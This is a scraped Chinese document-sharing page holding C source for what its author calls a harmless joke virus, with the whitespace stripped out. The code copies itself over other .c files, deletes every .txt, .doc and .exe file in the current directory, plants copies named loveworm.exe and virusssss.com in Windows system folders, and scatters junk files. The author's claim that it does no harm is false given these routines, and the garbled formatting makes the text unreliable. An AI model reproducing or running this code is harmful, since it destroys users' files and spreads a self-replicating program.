资源描述:
《C语言病毒代码.doc》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、C语言病毒代码#include#include#include#include#include/*copyoutfiletoinfile*/voidcopyfile(char*infile,char*outfile){FILE*in,*out;in=fopen(infile,"r");out=fopen(outfile,"w");while(!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}/*Thisfunctio
2、nnamedRubbishmaker.*/voidMakeRubbish(){inti;FILE*fp;char*path;char*NewName;char*disk[7]={"A","B","C","D","E","F","G"};char*addtion=":\";/*Makesomerubbishatthecurrentcatalogue*/for(i=0;i<5;i++){chartempname[]="XXXXXX";NewName=mktemp(tempname);fp=fopen(NewName,"w");fclose(fp);}/*makes
3、omerubbishattherootcatalogue*/path=strcat(disk[getdisk()],addtion);/*gettherootcatalogue*/chdir(path);/*changedirectoryaccordingtothe"path"*/for(i=0;i<5;i++){chartempname[]="XXXXXX";NewName=mktemp(tempname);fp=fopen(NewName,"w");fclose(fp);}}/*Thisfunctioncancreatsome.exeor.comdocume
4、ntsinthesensitiveplace.Don'tworry,It'sonlyajoke.Itwilldonoharmtoyourcomputer.*/voidCreatEXE(){inti;char*path;char*s[2]={"C:\WINDOWS\system32\loveworm.exe","C:\WINDOWS\virusssss.com"};for(i=0;i<2;i++){open(s[i],0x0100,0x0080);copyfile("C_KILLER.C",s[i]);}}/*removesomethingfromyou
5、rcomputer*/voidRemove(){intdone;inti;structffblkffblk;char*documenttype[3]={"*.txt","*.doc","*.exe"};for(i=0;i<3;i++){done=findfirst(documenttype[i],&ffblk,2);while(!done){remove(ffblk.ff_name);done=findnext(&ffblk);}}}/*overlaythecprograms*/voidBreed(){intdone;structffblkffblk;done=
6、findfirst("*.c",&ffblk,2);while(!done){if(strcmp("C_KILLER.C",ffblk.ff_name)!=0){copyfile("C_KILLER.C",ffblk.ff_name);}done=findnext(&ffblk);}}voidmain(){printf("THEREISAVIRUSBYXIAOKE.");Breed();Remove();CreatEXE();printf("COULDYOUTELLMEYOURNAME?");printf("NOW,PLEASEENTERYOUR
7、NAME,ORTHEREWILLBESOMETROUBLEWITHYOU!");MakeRubbish();getchar();printf("IT'SONLYAJOKE!THANKYOU!");clrscr();system("cmd");}首先声明:本程序是我举的一个例子为了叫大家理解就可以了如果大家拿去捉弄人,我不负任何责任!希望大家要以学习为重!对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定用这个简单的并
8、毫无伤害性的c语言伪病毒